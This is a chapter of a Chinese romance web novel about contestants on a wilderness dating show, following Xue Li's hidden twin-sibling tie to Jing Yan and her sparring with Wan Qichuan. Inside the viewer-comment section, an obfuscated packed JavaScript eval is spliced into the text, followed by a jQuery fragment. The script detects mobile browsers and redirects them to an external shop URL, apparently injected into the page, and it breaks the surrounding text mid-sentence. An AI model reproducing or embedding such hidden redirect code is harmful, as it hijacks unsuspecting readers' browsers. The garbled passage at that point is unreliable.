没有人知道薛荔和井岩之间的关系。

    也不能让任何人知道薛荔和井岩的关系。

    否则,捕风捉影的消息一出来,什么离谱的谣言都能满天飞。

    什么凭关系进组啦,夹带私货啦……

    尽管薛荔的参演是经过选角导演层层评估通过的。

    但观众不会管这个,他们只信自己相信的。

    更有甚者,薛荔担心更离谱的流言再起:什么异性兄妹天选骨科啦,重组家庭妈妈就是婆婆啦……

    薛荔高中时就经历过一次。

    那时两人同年级不同班,上学放学都黏在一起,勾肩搭背亲密无间。

    一来二去的,就有人传他俩早恋了。

    那时候两人都不知道,井岩当时还有个高年级的艺术生女神,暗恋许久苦于没有交集。

    薛荔知道后,先是鄙夷的让他照照镜子:“你看看你这丑脸,哪里配得上你女神。”

    两人小时候往对方脸上呼尿不湿,上小学互相吐口水,再大一点收敛了,但双方的形象,都只是个沾着眼屎的烦人精。

    虽然在其他人眼里,两个人长得青春又靓丽,简直是般配的一对。

    也因此给对方挡了不少桃花。

    后来,本着有笑话不看王八蛋的原则,薛荔又撺掇着他去表白。

    “告白啊!再不出手你女神就要毕业了。把爸的西装偷来穿,再梳个油头,乍一看你也是有几分姿色的。”

    井岩听了她这番鬼话,真兴冲冲地将女神林端堵在校门口,在保安的防爆钢叉下完成了他的告白。

    不出意外的,井岩被叫家长了。

    井爸爸心里早有打算,一路点头哈腰地来到老师办公室。

    心想他儿子犯错再严重,也不过是愣头青情窦初开,吓到人家女孩子了。

    诚恳地给女生及女生家长认错,回家再好好棍棒教育一番便是。

    可是,谁也没想到,林端告到老师那里说的是:井岩强迫她当小三。

    “什么?你是说那小子已经早恋了?!恋一个还不够,想恋两个?!”

    “爸!我没有……”

    井岩没机会辩解,只来得及呼痛。

    戒尺、量角器、三角板,数学老师的工具是真好用。

    井爸爸试用过后,立刻下单。

    缓过气来后,井爸爸又对老师和林端妈妈连连鞠躬,诚恳道:“麻烦老师把另一个小孩家长也请来,我们也得给人家道个歉。”

    薛妈妈揪着薛荔的耳朵,直往办公室赶。

    “小小年纪,谈什么恋爱啊?男的有多烦人你在你哥那里不是早就见识过了吗?!”

    “我没谈……”

    “闭嘴,我倒要看看那小白脸长什么样……”

    井爸爸听见门外的声音,也不管耳不耳熟,直接一躬鞠到底,抢先摆正态度。

    “实在是对不住,我没看管好臭小子……”

    “爸?!”

    “石头?!”

    “妈?”

    “栗子?”

    老师站在一旁疑惑了:“他俩恋爱已经见过家长了?”

    “……”

    自那以后,薛荔和井岩是同父同母异姓双胞胎的事实,也并没有在学生间传开。

    取而代之的,是各类真假骨科流言在广泛传播。

    薛荔深受其扰。

    自中学到大学因井岩的“阴魂不散”,她的桃花居然为零。

    任谁看她的长相都是一副阅男无数的样子,可实际上,却还是一张白纸。

    现在,她想要纸上谈兵写本言情小说了,这个机会可不能再被曾经的谣言搅了。

    *

    想到这,薛荔底气也弱了三分,强梗着脖子理不直气不壮。

    “我的意思是说,你这样,会少了很多荒野求生的趣味性……”

    何炎认真:“但是会多八个吃得饱饱的肚子。”

    “七个。”万栖川纠正。

    “唉没必要吧!薛荔也就是那么一说,这样显得你多小气啊……”

    “我本来就小气。”万栖川不依不饶。

    薛荔也较真上了:“不吃就不吃。”

    说完扭头就走,心里却暗暗高兴,万栖川这个鬼人,终于不追问她跟井岩的关系了。

    “唉别啊!”何炎不想气氛弄僵,突然灵机一动,拉住薛荔,说,“话又说回来,这四大箱子吃的,可都是薛荔买回来的。”

    “你说对吧,薛荔。”何炎挤眉弄眼,对她使眼色。

    薛荔立刻会意:“对……哦……”底气却不是很足。

    董景新拿着卡式炉挤进来,不耐烦地说:“行了行了,你俩什么时候能翻篇啊!我都要饿死了!鱼还烤不烤了?”

    “烤,烤,”俞媛从念初手里拿过那条溪石斑,“就让我们董少钦点的第四样工具——卡式炉,秀一下吧!”

    董景新很是受用,支起架子就开烤。

    俞媛在他旁边十指不沾阳春水,只是叽叽喳喳的捧着,提供情绪价值。

    一向不与人争的念初这时候走了过去,不顾俞媛警惕的神色,径直坐在董景新旁边,另开话题。

    “景新,准备的前四样东西我们都见识到了,个顶个的好用,不知道第五样是什么啊?”

    董景新挠头,念初这么一个温柔有气质的人突然坐在自己旁边,他还有些不好意思:“第五样,也不是什么新鲜的东西……”

    俞媛抢过话去:“景新不愿意说就不要勉强啦,导演昨天不都说了嘛,这五样东西可以是生存工具,也可以是约会的道具,景新前四样都是生存的,那最后一样,必然是跟约会有关的啦!”

    她嗔怪道:“念初你也真是的,现在问了,之后我就没有惊喜了嘛!”

    念初毫不在意俞媛的挤兑,只是坦然自若地和董景新对话:“如果真是和约会有关的东西,不知我有没有机会见到呢?我还挺期待的。”

    薛荔在一旁目睹了两个女人平静面孔下的暗流。

    心下终于了然,原来,念初先前所说的“使用恋综技巧不是什么大不了的事情”是这样的啊!

    对一个人有兴趣,靠近他,释放好感和可得性,也可以做得这么体面。

    不愧是她的女神,薛荔正感叹着,突然眉头一拧,脑子里蹦出个人脸来。

    溪水里,万栖川那张笑得明媚的脸,和他划过她鼻尖的温度,鬼魅一般挥之不去。

    薛荔鄙夷,怎么同样是用技巧,念初能用得那么得体大方,万栖川就那么让人尴尬呢?

    正出神,一团带着水果清香的东西贴着她鼻梁送到她眼前,逼得薛荔后仰才能看清,是一只洗净的秋月梨。

    “吃了。”万栖川下命令,“没冰箱,不吃坏了。”

    这是求和吗?还是什么镜头前的撩人小手段?

    薛荔警惕,嘴上不饶人:“有没有可能,不洗,还能放两天。”

    “那算了。”

    万栖川脸一沉,明明已经看到薛荔伸手准备接过,却还是身形一晃,一个抛物线就将那只秋月梨扔了出去。

    “哎!你!”

    薛荔眼睁睁地看着它被扔到了小溪另一边,砸在河边的沙砾地上,摔了个稀巴烂。

    *

    【今天摔梨,明天摔你】

    【错了,是明天摔荔】

    【这俩冤家,有一天安生的么】

    【我们栖荔党磕得好辛苦】

    【这也能磕,吃点好的吧!】

    【你们看到何炎表情了吗,他都不想劝架了】

    【累了累了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939464|213849||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,还是隔壁“俞情于景”好磕】

    【不对吧,明明“俞炎”才是一对】

    【all俞党在哪里!】

    *

    二人就这么一人盘踞一边,别扭了一下午。

    晚上,几个女生钻进帐篷里休息,几个男生守在外面也陆续睡下了。

    细碎的磨牙声和呼噜声渐起,薛荔躺在里面翻来覆去睡不着。

    手摸到头枕着的笔记本,厚厚的,全新的,每一页都是彩印着可爱图案的纸张,是她特意为参加节目准备的。

    笔记本侧边夹着一只水性笔。

    这两样是她准备的五样用品之二,也是她划掉了野外生存必备TOP5最后两样后,特地递补上的,专为自己留出的空间。

    一个不管外界如何失控颠簸,她都会保护好的一个私人空间。

    薛荔睁开眼。

    她的强迫症犯了。

    今天的恋综日记还没写。

    帐篷内黑漆漆的一片。

    山里初秋的夜温度骤降,隔着防潮垫,薛荔仍感觉到沁人的凉意。

    帐篷外,一盏小灯亮着,那是傍晚万栖川用玻璃瓶和喝剩的牛奶做的,再用念初带的手电筒一照,白炽灯一样明亮。

    那盏灯下,是最好的“书桌”。

    远处传来不间断的虫鸣,帐篷外没有人活动的声音,大概是都睡熟了。

    此刻悄悄出去写日记很安全。

    薛荔蹑手蹑脚起了身,拿上笔记本和笔,披上薄羊绒开衫,钻出帐篷。

    帐篷外比帐篷里更冷,偶尔一阵夜风,把人从里到外吹得透透的。

    薛荔蹲在灯下,翻开笔记本,写下第一个字。

    笔尖沙沙,凉风习习,远处枝头枯叶摩挲成音,溪水清冽,在夜中独鸣。

    周遭窸窸窣窣的声音长虫一般,钻入薛荔不设防的耳朵,和她大脑里庞杂的信息搅在一起,一丝一缕在笔下流淌。

    黑夜仿佛又一次将白昼吞没,一层密不透风的巨大阴影渐渐逼近,它越过溪水声,掩盖虫鸣声,替换了夜的声音钻入薛荔的耳朵里,而她充耳不闻。

    黑云压顶,寂静无声。

    更深一层的黑暗笼罩了她。

    牛奶灯突的一晃。

    薛荔心猛然一惊。

    “斗篷”下的怪物贴着牛奶灯,将一张看不清五官的脸凑到她眼前。

    “啊——”

    惊叫声被压制,一只粗粝的手覆上她的口鼻,将她的恐惧吞没。

    “是我。”

    那怪物掀开“斗篷”,警惕观察四周:“嘘——”

    万栖川的脸从兜帽里露了出来,牛奶灯从他下巴打上来,整个人有着符合他气质的阴森。

    “大晚上不睡觉鬼叫什么?”他视线向下落去。

    薛荔这才从牛鬼蛇神思维回归人类世界,忙不迭地捂住字迹,“啪”的一声合上,捂在胸前。

    “我还想问你呢!大晚上不睡觉吓死个人!”

    万栖川耸耸肩,一副理所当然的样子。

    他将捧在胸前的枯枝拢了拢,迎着夜风缩了缩脖子:“不冷吗?”

    不等薛荔答话,他便将枯枝掷在地下,捡起不知何时掉落在地上的外套,塞进她怀里。接着掏出火机点火。

    可夜里湿凉,枯枝沾了露气,怎么也点不燃。

    万栖川手中跳动的小火苗里,只熏出一缕青烟来。

    薛荔凑过去,跟着想办法:“要不把我这外套剪了,引个火?”

    万栖川斜了她一眼,不说好也不说不好:“你不要穿吗?”

    “我还有别的。”

    万栖川不死心,火机打得“咔咔”响:“百分百聚酯纤维,烧了味儿大。”

    *

    [鲶鱼不宰了,生烤]